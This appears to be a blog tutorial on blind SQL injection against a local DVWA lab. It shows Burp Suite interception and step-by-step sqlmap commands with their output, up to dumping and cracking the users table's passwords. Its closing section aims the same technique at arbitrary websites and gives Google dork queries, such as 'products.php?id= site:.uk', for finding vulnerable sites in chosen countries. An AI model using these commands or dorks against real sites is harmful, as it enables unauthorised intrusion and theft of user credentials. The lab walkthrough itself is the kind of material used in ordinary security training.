WITH BURP SUIT AND SQLMAP
This tutorial is for educational purpose only and please dont use it for any unethical purpose and this blog or its author wont be responsible for the after effects you face if you do something unethical
For this example Iam testing on DVWA(Damn Vulnerable Web Application),Blind SQL injection
Blind SQL Injection
++++++++++++++++++++
-tamper data with burp suit(if you dont know ,there are lot of tutorials) and find cookie
security=low; PHPSESSID=q5ceoc6r4kr3t3kpfppma5l4e1
-run sqlmap
-copy our weppage url(DVWA)
http://localhost/dvwa-master/vulnerabilities/sqli_blind/?id=1
-in sql map type following command
sqlmap -u 'http://localhost/dvwa-master/vulnerabilities/sqli_blind/?id=1' --cookie="security=low; PHPSESSID=q5ceoc6r4kr3t3kpfppma5l4e1" --dbs
-in my case i must use sqlmap.py since i use windows for this test
sqlmap.py -u 'http://localhost/dvwa-master/vulnerabilities/sqli_blind/?id=1' --cookie="security=low; PHPSESSID=q5ceoc6r4kr3t3kpfppma5l4e1" --dbs
got error
[*] starting at 20:47:29
[20:47:29] [CRITICAL] invalid target URL
[*] shutting down at 20:47:29
-saved the contents intersepted by burp to sqlmap folder,named it gn
-changed sqlmap commad as
sqlmap.py -r gn --dbs
-selected required options( yes or no questions asked by sqlmap,you can read and choose according to your wish)
-----------
output:
-----------
available databases [9]:
[*] dvwa
[*] hack
[*] information_schema
[*] mysql
[*] performance_schema
[*] pkmnrpg
[*] pokenet
[*] test
[*] warlegeds
-now iam targeting tables of dvwa databases
command:
sqlmap.py -r gn -D dvwa --tables
output tables:
|guestbook |
| users |
-now i focus on users
command:
sqlmap.py -r gn -D dvwa -T users --columns
-got output:
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
Database: dvwa
Table: guestbook
[3 columns]
+------------+----------------------+
| Column | Type |
+------------+----------------------+
| comment | varchar(300) |
| comment_id | smallint(5) unsigned |
| name | varchar(100) |
+------------+----------------------+
-now i need to find values in user and password columns,also crack password using sqlmap
command:
sqlmap.py -r gn -D dvwa -T users -C user,password --dump
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | 1a1dc91c907325c69271ddf0c944bc72 (pass) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+
WITH SQLMAP ALONE
If you are unable to find cookie,Just run SQL Map and make sure site is vulnerable
now type in command
sqlmap -u www.example.com/something.php?id=2 --dbs
and once you get the database name follow the same steps as we do with burp,only difference with this is we donot provide cookie to sqlmap.
HOW TO FIND SQL VULNERABLE WEBSITES?
Well the easy way is by google dorks.You can learn it by searching and learing google hacking..its a set of keywords we use to craft tricking search to google to get our desired output.
example:
products.php?id= site:.uk
products.php?id= site:.pk
here site: look for the site endimg like .pk for pakistan .uk for united kingdom
there are other keywords like inurl:,intext:,etc
HOPE YOU LEARN SOMETHING NEW BUT MAKE SURE YOU DON'T Misuse IT IF you Find some Vulnerability try to Report it to the Admins..You may Get some reward ..Be Ethical
Comments
Post a Comment